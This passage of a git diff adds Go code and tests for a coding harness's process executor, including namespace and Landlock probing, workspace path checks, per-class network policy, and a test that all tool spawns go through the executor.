namespaceProbeInTests = new(sync.Once), Capabilities{}, nil + attempts := 0 + runNamespaceProbe = func(*exec.Cmd) error { attempts++; return syscall.EACCES } + for range 3 { + if Probe().UserNS { + t.Fatal("denied helper counted as a working jail") + } + } + if attempts != 1 { + t.Fatalf("helper probe ran %d times", attempts) + } +} diff --git a/internal/executor/jail_other.go b/internal/executor/jail_other.go new file mode 100644 index 0000000000..a17b60fa91 --- /dev/null +++ b/internal/executor/jail_other.go @@ -0,0 +1,6 @@ +//go:build !linux && !darwin + +package executor + +// DefaultJail is nil where no jail exists: processes run unconfined. +func DefaultJail() Jail { return nil } diff --git a/internal/executor/jail_probe_linux.go b/internal/executor/jail_probe_linux.go new file mode 100644 index 0000000000..dd6af34b90 --- /dev/null +++ b/internal/executor/jail_probe_linux.go @@ -0,0 +1,91 @@ +//go:build linux + +package executor + +import ( + "os" + "os/exec" + "sync" + "syscall" + + "golang.org/x/sys/unix" +) + +// Capabilities is what this kernel lets an unprivileged process confine with. +type Capabilities struct { + // UserNS: a private user, mount and network namespace can be created. + UserNS bool + // Landlock: the kernel enforces Landlock filesystem rules. + Landlock bool + // LandlockABI is the Landlock ABI version, zero when absent. + LandlockABI int +} + +var ( + probeOnce = new(sync.Once) + probed Capabilities +) + +// Probe reports the confinement capabilities, measured once and cached. +func Probe() Capabilities { + if namespaceProbeInTests != nil { + abi := landlockABI() + return Capabilities{UserNS: namespaceProbeInTests(), Landlock: abi > 0, LandlockABI: abi} + } + probeOnce.Do(func() { + abi := landlockABI() + probed = Capabilities{UserNS: userNSWorks(), Landlock: abi > 0, LandlockABI: abi} + }) + return probed +} + +func landlockABI() int { + v, _, errno := unix.Syscall(unix.SYS_LANDLOCK_CREATE_RULESET, 0, 0, unix.LANDLOCK_CREATE_RULESET_VERSION) + if errno != 0 { + return 0 + } + return int(v) +} + +// userNSWorks re-executes this binary with the jail's exact namespace and +// ambient-capability attributes. Running an unrelated program misses hosts +// whose security policy permits clone but refuses the helper exec. +func userNSWorks() bool { + cmd := exec.Command("/proc/self/exe") //codeaf:plumbing capability probe of the jail itself + cmd.Args = []string{helperName, "probe"} + cmd.SysProcAttr = namespaceAttr(true) + return runNamespaceProbe(cmd) == nil +} + +// namespaceAttr builds the clone attributes: a user namespace mapping the +// caller to itself, a private mount namespace, and optionally a network one. +// CAP_SYS_ADMIN survives the exec into the helper as an ambient capability. +func namespaceAttr(newNet bool) *syscall.SysProcAttr { + flags := uintptr(syscall.CLONE_NEWUSER | syscall.CLONE_NEWNS) + if newNet { + flags |= syscall.CLONE_NEWNET + } + uid, gid := os.Getuid(), os.Getgid() + return &syscall.SysProcAttr{ + Cloneflags: flags, + UidMappings: []syscall.SysProcIDMap{{ContainerID: uid, HostID: uid, Size: 1}}, + GidMappings: []syscall.SysProcIDMap{{ContainerID: gid, HostID: gid, Size: 1}}, + AmbientCaps: []uintptr{unix.CAP_SYS_ADMIN}, + } +} + +// namespaceProbeInTests stands in for hosts that allow clone but deny the +// helper exec. Only test support installs it; production always measures once. +var namespaceProbeInTests func() bool + +// UseNamespaceProbeInTests supplies the helper-exec answer for a test and +// returns its restoration, without changing the production probe's cache. +func UseNamespaceProbeInTests(probe func() bool) func() { + previous := namespaceProbeInTests + namespaceProbeInTests = probe + return func() { namespaceProbeInTests = previous } +} + +// runNamespaceProbe is the exec boundary tests use to reproduce a denied +// helper after namespace creation, without depending on AppArmor being installed. +var runNamespaceProbe = func(cmd *exec.Cmd) error { return cmd.Run() } diff --git a/internal/executor/law_test.go b/internal/executor/law_test.go new file mode 100644 index 0000000000..6992919d26 --- /dev/null +++ b/internal/executor/law_test.go @@ -0,0 +1,284 @@ +package executor + +import ( + "fmt" + "go/ast" + "go/parser" + "go/token" + "io/fs" + "os" + "path/filepath" + "sort" + "strconv" + "strings" + "testing" +) + +// ── THE L4 LAW ────────────────────────────────────────────────────────────── +// +// The executor is the only path to a process (docs/ARCHITECTURE.md 8.2). In the +// packages that run tools, every call to os/exec's Command or CommandContext +// must therefore carry a tag comment on its own line or the line above it: +// +// //codeaf:plumbing harness plumbing (git, ps, an opener); the +// reason is required and is read by a reviewer +// //codeaf:tool-pending a tool spawn awaiting migration onto Executor +// (task 4.2); the tests list them, and the tag +// disappears when the site moves +// +// An untagged spawn fails the test. Everything else in the tree is out of this +// law's scope: it constrains tool execution, not every process the harness +// ever starts. + +// lawScope lists the tool-execution paths the law covers: directories, or +// single files where only part of a package runs tools. +var lawScope = []string{ + "internal/exec", + "internal/executor", + "internal/seniordev", + "internal/resident", + "internal/verify", + "internal/delegate", + "internal/session/jobs.go", + "internal/session/tools_watch.go", +} + +const ( + tagPlumbing = "//codeaf:plumbing" + tagPending = "//codeaf:tool-pending" +) + +// site is one spawn call and the tag found for it. +type site struct { + file string + line int + tag string // "", tagPlumbing or tagPending + text string // the tag comment, for the reason check +} + +func (s site) String() string { return fmt.Sprintf("%s:%d", s.file, s.line) } + +// violation names why a site breaks the law, or "" when it does not. +func (s site) violation() string { + switch s.tag { + case tagPending: + return "" + case tagPlumbing: + if strings.TrimSpace(strings.TrimPrefix(s.text, tagPlumbing)) == "" { + return "carries //codeaf:plumbing with no reason" + } + return "" + } + return "spawns a process without going through internal/executor and carries no tag" +} + +func TestL4_ToolSpawnsGoThroughTheExecutor(t *testing.T) { + sites := scopedSites(t) + var pending []string + for _, s := range sites { + if reason := s.violation(); reason != "" { + t.Errorf("%s %s", s, reason) + } + if s.tag == tagPending { + pending = append(pending, s.String()) + } + } + sort.Strings(pending) + t.Logf("%d spawn sites scanned; %d tool-pending (task 4.2 inventory):\n %s", + len(sites), len(pending), strings.Join(pending, "\n ")) +} + +func TestL4_UntaggedSpawnFails(t *testing.T) { + cases := map[string]struct { + source string + want string + }{ + "untagged": {"exec.Command(\"ls\")", "no tag"}, + "tagged pending": {"//codeaf:tool-pending\n\texec.Command(\"ls\")", ""}, + "tagged plumbing": {"exec.Command(\"ls\") //codeaf:plumbing lists a directory", ""}, + "no reason": {"//codeaf:plumbing\n\texec.Command(\"ls\")", "no reason"}, + "stale tag": {"//codeaf:tool-pending\n\n\texec.Command(\"ls\")", "no tag"}, + } + for name, c := range cases { + src := "package p\nimport \"os/exec\"\nfunc f() {\n\t" + c.source + "\n}\n" + found := sitesIn(t, "fixture.go", src) + if len(found) != 1 { + t.Fatalf("%s: want one site, got %d", name, len(found)) + } + if got := found[0].violation(); !strings.Contains(got, c.want) || (c.want == "") != (got == "") { + t.Errorf("%s: violation %q, want it to contain %q", name, got, c.want) + } + } +} + +func TestL4_AliasedImportIsStillASpawn(t *testing.T) { + src := "package p\nimport osexec \"os/exec\"\nfunc f() { osexec.CommandContext(nil, \"ls\") }\n" + if got := sitesIn(t, "fixture.go", src); len(got) != 1 { + t.Fatalf("want the aliased spawn found, got %d sites", len(got)) + } +} + +// scopedSites parses every non-test file in scope and returns its spawn sites. +func scopedSites(t *testing.T) []site { + t.Helper() + root, err := filepath.Abs(filepath.Join("..", "..")) + if err != nil { + t.Fatal(err) + } + var sites []site + for _, path := range lawFiles(t, root) { + source, err := os.ReadFile(filepath.Join(root, path)) + if err != nil { + t.Fatal(err) + } + sites = append(sites, sitesIn(t, path, string(source))...) + } + if len(sites) == 0 { + t.Fatal("no spawn sites found in scope, so this law would pass vacuously") + } + return sites +} + +// lawFiles is every non-test .go file under lawScope, relative to root. +func lawFiles(t *testing.T, root string) []string { + t.Helper() + var files []string + for _, entry := range lawScope { + err := filepath.WalkDir(filepath.Join(root, entry), func(path string, d fs.DirEntry, err error) error { + if err == nil && !d.IsDir() && isLawSource(path) { + rel, _ := filepath.Rel(root, path) + files = append(files, filepath.ToSlash(rel)) + } + return err + }) + if err != nil { + t.Fatalf("walk %s: %v", entry, err) + } + } + return files +} + +func isLawSource(path string) bool { + return strings.HasSuffix(path, ".go") && !strings.HasSuffix(path, "_test.go") +} + +// sitesIn finds every os/exec spawn in one source file. A file that does not +// parse fails the test: a law that skips what it cannot read proves nothing. +func sitesIn(t *testing.T, name, source string) []site { + t.Helper() + fset := token.NewFileSet() + file, err := parser.ParseFile(fset, name, source, parser.ParseComments) + if err != nil { + t.Fatalf("parse %s: %v", name, err) + } + local := execImportName(file) + if local == "" { + return nil + } + tags := tagsByLine(fset, file) + var sites []site + ast.Inspect(file, func(n ast.Node) bool { + if call, ok := n.(*ast.CallExpr); ok && isSpawn(call, local) { + line := fset.Position(call.Pos()).Line + text := tags.near(line) + sites = append(sites, site{file: name, line: line, tag: tagOf(text), text: text}) + } + return true + }) + return sites +} + +// execImportName is the local name os/exec is imported under, or "". +func execImportName(file *ast.File) string { + for _, imp := range file.Imports { + if path, _ := strconv.Unquote(imp.Path.Value); path != "os/exec" { + continue + } + if imp.Name != nil { + return imp.Name.Name + } + return "exec" + } + return "" +} + +func isSpawn(call *ast.CallExpr, local string) bool { + sel, ok := call.Fun.(*ast.SelectorExpr) + if !ok { + return false + } + pkg, ok := sel.X.(*ast.Ident) + return ok && pkg.Name == local && (sel.Sel.Name == "Command" || sel.Sel.Name == "CommandContext") +} + +func tagOf(text string) string { + switch { + case strings.HasPrefix(text, tagPlumbing): + return tagPlumbing + case strings.HasPrefix(text, tagPending): + return tagPending + } + return "" +} + +// lineTags indexes comment text by the line each comment group touches. +type lineTags struct { + trailing map[int]string // comment starting on the line + above map[int]string // comment group ending on the line +} + +func tagsByLine(fset *token.FileSet, file *ast.File) lineTags { + tags := lineTags{trailing: map[int]string{}, above: map[int]string{}} + for _, group := range file.Comments { + for _, c := range group.List { + tags.trailing[fset.Position(c.Pos()).Line] = c.Text + } + last := group.List[len(group.List)-1] + tags.above[fset.Position(last.End()).Line] = tagLine(group) + } + return tags +} + +// tagLine is the group's first comment that is a tag, or its last comment. +func tagLine(group *ast.CommentGroup) string { + for _, c := range group.List { + if tagOf(c.Text) != "" { + return c.Text + } + } + return group.List[len(group.List)-1].Text +} + +// near is the tag comment for a call on line: on the line, else ending above. +func (l lineTags) near(line int) string { + if text := l.trailing[line]; tagOf(text) != "" { + return text + } + return l.above[line-1] +} + +// A production binary never has the test seat: only test files may reach +// executortest, and only that package may call UseInTests. +func TestTestSeatIsReachableOnlyFromTests(t *testing.T) { + root, err := filepath.Abs(filepath.Join("..", "..")) + if err != nil { + t.Fatal(err) + } + err = filepath.WalkDir(filepath.Join(root, "internal"), func(path string, d fs.DirEntry, err error) error { + if err != nil || d.IsDir() || !strings.HasSuffix(path, ".go") || strings.HasSuffix(path, "_test.go") { + return err + } + rel, _ := filepath.Rel(root, path) + if strings.HasPrefix(filepath.ToSlash(rel), "internal/executor/") { + return nil + } + source, readErr := os.ReadFile(path) + if readErr == nil && (strings.Contains(string(source), "executortest") || strings.Contains(string(source), "UseInTests(")) { + t.Errorf("%s reaches the test seat from production code", rel) + } + return readErr + }) + if err != nil { + t.Fatal(err) + } +} diff --git a/internal/executor/local.go b/internal/executor/local.go new file mode 100644 index 0000000000..a1c9ea3d43 --- /dev/null +++ b/internal/executor/local.go @@ -0,0 +1,309 @@ +package executor + +import ( + "bytes" + "context" + "errors" + "fmt" + "io" + "os" + "os/exec" + "path/filepath" + "regexp" + "strings" + "sync" + "time" + + "github.com/Agent-Field/codeaf/internal/processgroup" +) + +// settleDelay bounds how long Exec waits for output pipes after the process +// exits, so a child that keeps them open cannot hold the call. +const settleDelay = 200 * time.Millisecond + +// Jail is the single seam for confinement: it may rewrite the command (wrap it, +// set attributes) before it starts. See jail_linux.go for the Linux jail; other systems keep no confinement. +type Jail interface { + Confine(cmd *exec.Cmd, req ExecRequest) error +} + +// Degrader is optionally implemented by a jail that may run with fewer +// limits than asked for on this kernel; the result then says so. +type Degrader interface { + Degraded(req ExecRequest) bool +} + +type noJail struct{} + +func (noJail) Confine(*exec.Cmd, ExecRequest) error { return nil } + +// Local spawns processes on this device, rooted at one workspace directory. +type Local struct { + Root string + Class Class // the workspace's declared class; the zero value is Sandboxed + Jail Jail // nil means no confinement + Setup bool // every call is a setup turn's (docs/ARCHITECTURE.md 8.4) + + // Observer, when set, sees each call that ran to a result. + Observer Observer + + // Secrets, when set, names variables added to every process's environment: + // the vault's, for a workspace whose secret files are not in its history. + Secrets SecretSource +} + +// resolve stamps the request with the workspace's class and the network policy +// that class allows for it: the one place a policy is chosen. +func (l Local) resolve(req ExecRequest) ExecRequest { + req.Class = l.Class + req.Setup = req.Setup || l.Setup + req.Net = PolicyFor(l.Class, req.Setup) + return req +} + +// Exec implements Executor. +func (l Local) Exec(ctx context.Context, req ExecRequest, onOutput func(Chunk)) (ExecResult, error) { + req = l.resolve(req) + ctx, cancel := withTimeout(ctx, req.Timeout) + defer cancel() + if req.WaitDelay == 0 { + req.WaitDelay = settleDelay + } + cmd, err := l.Command(ctx, req) + if err != nil { + return ExecResult{}, err + } + res, err := run(ctx, cmd, req, l.Root, onOutput) + res.JailDegraded = degraded(l.Jail, req) + if err == nil && l.Observer != nil { + l.Observer.Observe(req, res) + } + return res, err +} + +func degraded(j Jail, req ExecRequest) bool { + d, ok := j.(Degrader) + return ok && req.Class == Sandboxed && d.Degraded(req) +} + +// Command builds the one confined, unstarted command for a request: class and +// directory checked, environment, group and cancellation set, the jail applied. +// The caller wires the streams it needs, starts it and waits. It is for +// processes whose lifetime the caller owns (background jobs, pipelines, +// interactive children); Timeout is not applied here, and ctx ends the process +// only when it is cancelled. +func (l Local) Command(ctx context.Context, req ExecRequest) (*exec.Cmd, error) { + req = l.resolve(req) + dir, err := l.check(req) + if err != nil { + return nil, err + } + cmd := exec.CommandContext(ctx, req.Argv[0], req.Argv[1:]...) //codeaf:plumbing the executor is the spawn seam + cmd.Dir, cmd.Env, cmd.Stdin = dir, l.withSecrets(req.Env), req.Stdin + configureGroup(cmd, req.Group) + cmd.Cancel = canceller(cmd, req.Group) + cmd.WaitDelay = max(req.WaitDelay, 0) + if err := l.confine(cmd, req); err != nil { + return nil, err + } + if degraded(l.Jail, req) { + if notice, ok := ctx.Value(degradedNoticeKey{}).(func()); ok { + notice() + } + } + return cmd, nil +} + +// SecretSource is where a process's secret variables come from (the vault). +type SecretSource interface { + Env() []string +} + +// withSecrets is env with the vault's variables added; a nil env inherits the +// host's, so it stays nil when there is nothing to add. +func (l Local) withSecrets(env []string) []string { + if l.Secrets == nil { + return env + } + extra := l.Secrets.Env() + if len(extra) == 0 { + return env + } + if env == nil { + env = os.Environ() + } + return append(append([]string(nil), env...), extra...) +} + +func configureGroup(cmd *exec.Cmd, g Group) { + switch g { + case GroupOwn: + processgroup.Configure(cmd) + case GroupSession: + processgroup.ConfigureDetached(cmd) + } +} + +// canceller ends the whole group the child leads, or the child alone when it +// shares the harness's group. +func canceller(cmd *exec.Cmd, g Group) func() error { + return func() error { + switch { + case cmd.Process == nil: + return os.ErrProcessDone + case g == GroupInherit: + return cmd.Process.Kill() + } + return processgroup.Kill(cmd.Process.Pid) + } +} + +// check validates a request and returns the directory it runs in. +func (l Local) check(req ExecRequest) (string, error) { + if !req.Class.rule().Spawns { + return "", errors.New("executor: a files-only workspace runs no process") + } + if len(req.Argv) == 0 { + return "", errors.New("executor: empty argv") + } + // Host work has no sealed state to protect, and ordinary shell text may + // name .cell. Only a cell workspace keeps that directory out of tools. + if req.Class != HostBound { + if info, err := os.Stat(filepath.Join(l.Root, ".cell")); err == nil && info.IsDir() { + if arg, hit := cellArg(req.Argv); hit { + return "", fmt.Errorf("executor: argument %q reaches into the harness-owned .cell directory", arg) + } + } + } + return resolve(l.Root, req.Dir) +} + +// confine applies the jail to sandboxed calls only. +func (l Local) confine(cmd *exec.Cmd, req ExecRequest) error { + if req.Class != Sandboxed { + return nil + } + return l.jail().Confine(cmd, req) +} + +// cellRef matches ".cell" as a whole path segment anywhere in an argument, +// including inside a shell command line or a --flag=path. +var cellRef = regexp.MustCompile(`(^|[/=\s'"])\.cell($|[/\s'"])`) + +// cellArg returns the first argument that names the .cell directory. +func cellArg(argv []string) (string, bool) { + for _, a := range argv { + if cellRef.MatchString(filepath.ToSlash(a)) { + return a, true + } + } + return "", false +} + +func (l Local) jail() Jail { + if l.Jail == nil { + return noJail{} + } + return l.Jail +} + +// resolve joins a workspace-relative directory to the root, refusing anything +// that escapes it or reaches into the harness-owned .cell directory. +func resolve(root, rel string) (string, error) { + clean := filepath.Clean(rel) + first, _, _ := strings.Cut(filepath.ToSlash(clean), "/") + if filepath.IsAbs(clean) || first == ".." || first == ".cell" { + return "", fmt.Errorf("executor: directory %q is outside the workspace", rel) + } + return filepath.Join(root, clean), nil +} + +func withTimeout(ctx context.Context, d time.Duration) (context.Context, context.CancelFunc) { + if d <= 0 { + return context.WithCancel(ctx) + } + return context.WithTimeout(ctx, d) +} + +func run(ctx context.Context, cmd *exec.Cmd, req ExecRequest, root string, onOutput func(Chunk)) (ExecResult, error) { + var out, errb bytes.Buffer + cmd.Stdout, cmd.Stderr = sinks(req, &out, &errb, serialized(onOutput)) + start := time.Now() + if err := cmd.Start(); err != nil { + return ExecResult{}, err + } + waitErr := cmd.Wait() + res := ExecResult{ + Exit: cmd.ProcessState.ExitCode(), Status: cmd.ProcessState.String(), + Stdout: out.Bytes(), Stderr: errb.Bytes(), + Wall: time.Since(start), SideEffect: Classify(req.Net), + TimedOut: errors.Is(ctx.Err(), context.DeadlineExceeded), + PipesForced: errors.Is(waitErr, exec.ErrWaitDelay), + Services: services(ctx, cmd, req, root), + } + return res, outcome(ctx, waitErr) +} + +// sinks picks the writers a run's streams go to: the chunk callback always, +// the result's buffers unless the call streams, and one shared writer when +// stderr is combined into stdout. +func sinks(req ExecRequest, out, errb *bytes.Buffer, emit func(Chunk)) (io.Writer, io.Writer) { + stdout, stderr := io.Writer(&chunkWriter{Stdout, emit}), io.Writer(&chunkWriter{Stderr, emit}) + if !req.Stream { + stdout, stderr = io.MultiWriter(out, stdout), io.MultiWriter(errb, stderr) + } + if req.Combined { + return stdout, stdout + } + return stdout, stderr +} + +// outcome separates "the process exited" (a result) from "the call failed". +func outcome(ctx context.Context, waitErr error) error { + var exited *exec.ExitError + switch { + case errors.Is(ctx.Err(), context.Canceled): + return ctx.Err() + case waitErr == nil, errors.As(waitErr, &exited), errors.Is(waitErr, exec.ErrWaitDelay): + return nil + case errors.Is(ctx.Err(), context.DeadlineExceeded): + return nil + } + return waitErr +} + +// chunkWriter turns writes on one stream into Chunks. +type chunkWriter struct { + stream Stream + emit func(Chunk) +} + +func (w *chunkWriter) Write(p []byte) (int, error) { + w.emit(Chunk{Stream: w.stream, Data: append([]byte(nil), p...)}) + return len(p), nil +} + +// serialized makes a nil or concurrent-unsafe callback safe to call from both +// output goroutines. +func serialized(f func(Chunk)) func(Chunk) { + if f == nil { + return func(Chunk) {} + } + var mu sync.Mutex + return func(c Chunk) { + mu.Lock() + defer mu.Unlock() + f(c) + } +} + +// DegradedLine names the missing limit once in the conversation that uses it. +const DegradedLine = "This system cannot apply all workspace limits; commands with network access run without full confinement." + +type degradedNoticeKey struct{} + +// WithDegradedNotice lets the owning conversation report a reduced jail even +// for a tool that owns its command's lifetime and does not return ExecResult. +func WithDegradedNotice(ctx context.Context, notice func()) context.Context { + return context.WithValue(ctx, degradedNoticeKey{}, notice) +} diff --git a/internal/executor/local_test.go b/internal/executor/local_test.go new file mode 100644 index 0000000000..a7677006ad --- /dev/null +++ b/internal/executor/local_test.go @@ -0,0 +1,118 @@ +package executor + +import ( + "context" + "strings" + "testing" + "time" +) + +func sh(script string) ExecRequest { + return ExecRequest{Argv: []string{"sh", "-c", script}} +} + +func exec1(t *testing.T, req ExecRequest, on func(Chunk)) ExecResult { + t.Helper() + res, err := Local{Root: t.TempDir()}.Exec(context.Background(), req, on) + if err != nil { + t.Fatalf("Exec: %v", err) + } + return res +} + +func TestLocalRunsAndCapturesOutput(t *testing.T) { + var streamed []Chunk + res := exec1(t, sh("echo out; echo err >&2"), func(c Chunk) { streamed = append(streamed, c) }) + if res.Exit != 0 || string(res.Stdout) != "out\n" || string(res.Stderr) != "err\n" { + t.Fatalf("unexpected result: %+v", res) + } + if len(streamed) != 2 { + t.Fatalf("want 2 streamed chunks, got %d", len(streamed)) + } +} + +func TestLocalReportsExitCode(t *testing.T) { + if res := exec1(t, sh("exit 7"), nil); res.Exit != 7 || res.TimedOut { + t.Fatalf("want exit 7, got %+v", res) + } +} + +func TestLocalTimesOutAndKillsTheGroup(t *testing.T) { + req := sh("sleep 30 & sleep 30") + req.Timeout = 150 * time.Millisecond + res := exec1(t, req, nil) + if !res.TimedOut || res.Exit == 0 || len(res.Services) != 0 { + t.Fatalf("want a timed-out kill with no services, got %+v", res) + } + if res.Wall > 5*time.Second { + t.Fatalf("timeout was not prompt: %v", res.Wall) + } +} + +func TestLocalCleanExitLeavesNoServices(t *testing.T) { + if res := exec1(t, sh("true"), nil); len(res.Services) != 0 { + t.Fatalf("want no services, got %+v", res.Services) + } +} + +func TestLocalRunsInTheRelativeDirectory(t *testing.T) { + root := t.TempDir() + req := sh("pwd") + req.Dir = "." + res, err := Local{Root: root}.Exec(context.Background(), req, nil) + if err != nil || !strings.HasSuffix(strings.TrimSpace(string(res.Stdout)), root[strings.LastIndex(root, "/"):]) { + t.Fatalf("pwd = %q, err %v", res.Stdout, err) + } +} + +func TestLocalRefusesBadRequests(t *testing.T) { + bad := map[string]ExecRequest{ + "escape": {Argv: []string{"true"}, Dir: "../x"}, + "absolute": {Argv: []string{"true"}, Dir: "/etc"}, + "cell": {Argv: []string{"true"}, Dir: ".cell/env"}, + "empty argv": {}, + } + for name, req := range bad { + if _, err := (Local{Root: t.TempDir()}).Exec(context.Background(), req, nil); err == nil { + t.Errorf("%s: want an error", name) + } + } + if _, err := (Local{Root: t.TempDir(), Class: FilesOnly}).Exec(context.Background(), sh("true"), nil); err == nil { + t.Error("files only: want an error") + } +} + +func TestLocalSurfacesCancellation(t *testing.T) { + ctx, cancel := context.WithCancel(context.Background()) + time.AfterFunc(100*time.Millisecond, cancel) + if _, err := (Local{Root: t.TempDir()}).Exec(ctx, sh("sleep 30"), nil); err == nil { + t.Fatal("want the cancellation reported") + } +} + +func TestRemoteIsNotImplemented(t *testing.T) { + var _ Executor = Remote{} + if _, err := (Remote{}).Exec(context.Background(), sh("true"), nil); err != ErrRemoteNotImplemented { + t.Fatalf("got %v", err) + } +} + +func TestCombinedStreamKeepsArrivalOrderAndRetainsNothing(t *testing.T) { + req := sh("echo a; echo b >&2; echo c") + req.Combined, req.Stream = true, true + var got strings.Builder + res := exec1(t, req, func(c Chunk) { got.Write(c.Data) }) + if got.String() != "a\nb\nc\n" || len(res.Stdout) != 0 || len(res.Stderr) != 0 { + t.Fatalf("got %q, result kept %q/%q", got.String(), res.Stdout, res.Stderr) + } +} + +func TestFailureNamesTheProcessStatus(t *testing.T) { + res := exec1(t, sh("exit 3"), nil) + if err := res.Failure(); err == nil || err.Error() != "exit status 3" { + t.Fatalf("Failure = %v", err) + } + if exec1(t, sh("true"), nil).Failure() != nil { + t.Fatal("a clean exit is not a failure") + } +} diff --git a/internal/executor/local_unix_test.go b/internal/executor/local_unix_test.go new file mode 100644 index 0000000000..fce9de7bcc --- /dev/null +++ b/internal/executor/local_unix_test.go @@ -0,0 +1,33 @@ +//go:build !windows + +// K6 keeps Unix process, lock and mode assertions on the systems that provide them. +package executor + +import ( + "context" + "syscall" + "testing" + "time" +) + +func TestLocalRecordsALeftRunningChildAsAService(t *testing.T) { + res := exec1(t, sh("sleep 30 >/dev/null 2>&1 &"), nil) + if len(res.Services) != 1 { + t.Fatalf("want one service, got %+v", res.Services) + } + pgid := res.Services[0].PGID + t.Cleanup(func() { _ = syscall.Kill(-pgid, syscall.SIGKILL) }) + if res.Wall > 5*time.Second { + t.Fatalf("a background child held the call for %v", res.Wall) + } +} + +func TestCommandBuildsAnUnstartedCommandInItsOwnGroup(t *testing.T) { + cmd, err := Local{Root: t.TempDir()}.Command(context.Background(), sh("true")) + if err != nil { + t.Fatal(err) + } + if cmd.Process != nil || cmd.SysProcAttr == nil || !cmd.SysProcAttr.Setpgid { + t.Fatalf("want an unstarted command with Setpgid, got %+v", cmd) + } +} diff --git a/internal/executor/modelcall.go b/internal/executor/modelcall.go new file mode 100644 index 0000000000..b3597c05f2 --- /dev/null +++ b/internal/executor/modelcall.go @@ -0,0 +1,25 @@ +package executor + +// ModelCall is one model call as a seat is told of it: who answered, for what, +// and what it cost. The seat that keeps a record puts it in the next receipt. +type ModelCall struct { + Model string + Role string + TokensIn int + TokensOut int + TokensCached int + CostMicroUSD int64 +} + +// ModelNoter is a seat that records model calls. +type ModelNoter interface { + NoteModelCall(ModelCall) +} + +// NoteModelCall tells the seat about a model call. A seat that keeps no record +// ignores it, the way ForSetup leaves a seat that cannot tell setup apart. +func NoteModelCall(s Seat, m ModelCall) { + if n, ok := s.(ModelNoter); ok { + n.NoteModelCall(m) + } +} diff --git a/internal/executor/policy.go b/internal/executor/policy.go new file mode 100644 index 0000000000..5af9034b63 --- /dev/null +++ b/internal/executor/policy.go @@ -0,0 +1,38 @@ +package executor + +// rule is what one class allows (docs/ARCHITECTURE.md section 8.3). Network +// policy is the side-effect oracle: a call with the network denied is provably +// local, one with it open is external. +type rule struct { + Spawns bool // may run a process at all + Net NetPolicy // an ordinary call + Setup NetPolicy // a setup turn's call (network allowed, external) +} + +var ( + openNet = NetPolicy{Open: true} + // rules is the whole class to policy mapping; there is no other place a + // policy is chosen. + rules = map[Class]rule{ + FilesOnly: {Spawns: false}, + Sandboxed: {Spawns: true, Net: NetPolicy{}, Setup: openNet}, + HostBound: {Spawns: true, Net: openNet, Setup: openNet}, + } + classNames = map[string]Class{"files-only": FilesOnly, "sandboxed": Sandboxed, "host-bound": HostBound} +) + +func (c Class) rule() rule { return rules[c] } + +// PolicyFor is the network policy of a call under a class. +func PolicyFor(c Class, setup bool) NetPolicy { + if setup { + return c.rule().Setup + } + return c.rule().Net +} + +// ParseClass reads a declared class name as stored in a cell's meta. +func ParseClass(name string) (Class, bool) { + c, ok := classNames[name] + return c, ok +} diff --git a/internal/executor/policy_linux_test.go b/internal/executor/policy_linux_test.go new file mode 100644 index 0000000000..73f69d875d --- /dev/null +++ b/internal/executor/policy_linux_test.go @@ -0,0 +1,108 @@ +//go:build linux + +package executor + +import ( + "context" + "errors" + "fmt" + "net" + "strings" + "testing" + "time" +) + +// listener returns a local TCP address a jailed child can only reach if it +// shares this network namespace. +func listener(t *testing.T) string { + t.Helper() + l, err := net.Listen("tcp", "127.0.0.1:0") + if err != nil { + t.Skipf("no loopback: %v", err) + } + t.Cleanup(func() { l.Close() }) + go func() { + for { + c, err := l.Accept() + if err != nil { + return + } + c.Close() + } + }() + return l.Addr().String() +} + +// TestClassGovernsReach dials a listener outside the child's namespace under +// each class through the real jail: only a sandboxed call without setup is cut off. +func TestClassGovernsReach(t *testing.T) { + if unavailableJail(t) { + return + } + addr := listener(t) + dialAddr := ExecRequest{Argv: []string{"bash", "-c", fmt.Sprintf("exec 3<>/dev/tcp/%s", strings.Replace(addr, ":", "/", 1))}, Timeout: 10 * time.Second} + cases := []struct { + name string + class Class + setup bool + reaches bool + effect SideEffect + }{ + {"sandboxed denies", Sandboxed, false, false, EffectLocal}, + {"sandboxed setup", Sandboxed, true, true, EffectExternal}, + {"host-bound open", HostBound, false, true, EffectExternal}, + } + for _, c := range cases { + req := dialAddr + req.Setup = c.setup + res, err := Local{Root: t.TempDir(), Class: c.class, Jail: DefaultJail()}.Exec(context.Background(), req, nil) + if err != nil { + t.Fatalf("%s: %v", c.name, err) + } + if (res.Exit == 0) != c.reaches || res.SideEffect != c.effect { + t.Errorf("%s: exit %d effect %s stderr %q", c.name, res.Exit, res.SideEffect, res.Stderr) + } + } +} + +// TestSetupStanceOpensTheNetworkForEveryCall: a call that states no intent of +// its own is still a setup call on the setup form of a seat, and an ordinary +// call on the same seat stays cut off. +func TestSetupStanceOpensTheNetworkForEveryCall(t *testing.T) { + if unavailableJail(t) { + return + } + addr := listener(t) + req := ExecRequest{Argv: []string{"bash", "-c", fmt.Sprintf("exec 3<>/dev/tcp/%s", strings.Replace(addr, ":", "/", 1))}, Timeout: 10 * time.Second} + plain := Stance{Class: Sandboxed} + for _, c := range []struct { + name string + seat Seat + reaches bool + effect SideEffect + }{ + {"ordinary", plain, false, EffectLocal}, + {"setup", ForSetup(plain), true, EffectExternal}, + } { + res, err := c.seat.In(t.TempDir()).Exec(context.Background(), req, nil) + if err != nil { + t.Fatalf("%s: %v", c.name, err) + } + if (res.Exit == 0) != c.reaches || res.SideEffect != c.effect { + t.Errorf("%s: exit %d effect %s stderr %q", c.name, res.Exit, res.SideEffect, res.Stderr) + } + } +} + +func TestForSetupLeavesASeatWithoutASetupFormAsItIs(t *testing.T) { + if got := ForSetup(unseated{}); got != (unseated{}) { + t.Fatalf("got %T", got) + } +} + +func TestLinuxRefusalNamesNamespaces(t *testing.T) { + err := refuseWithoutNamespaces(ExecRequest{Net: NetPolicy{}}) + if !errors.Is(err, ErrNoIsolation) || !strings.Contains(err.Error(), "user namespaces") { + t.Fatalf("refusal = %v", err) + } +} diff --git a/internal/executor/policy_test.go b/internal/executor/policy_test.go new file mode 100644 index 0000000000..36720b84f0 --- /dev/null +++ b/internal/executor/policy_test.go @@ -0,0 +1,77 @@ +package executor + +import ( + "context" + "errors" + "strings" + "testing" +) + +func TestPolicyTable(t *testing.T) { + cases := []struct { + class Class + setup bool + denies bool + effect SideEffect + }{ + {Sandboxed, false, true, EffectLocal}, + {Sandboxed, true, false, EffectExternal}, + {HostBound, false, false, EffectExternal}, + {HostBound, true, false, EffectExternal}, + {FilesOnly, false, true, EffectLocal}, + } + for _, c := range cases { + p := PolicyFor(c.class, c.setup) + if p.Denies() != c.denies || Classify(p) != c.effect { + 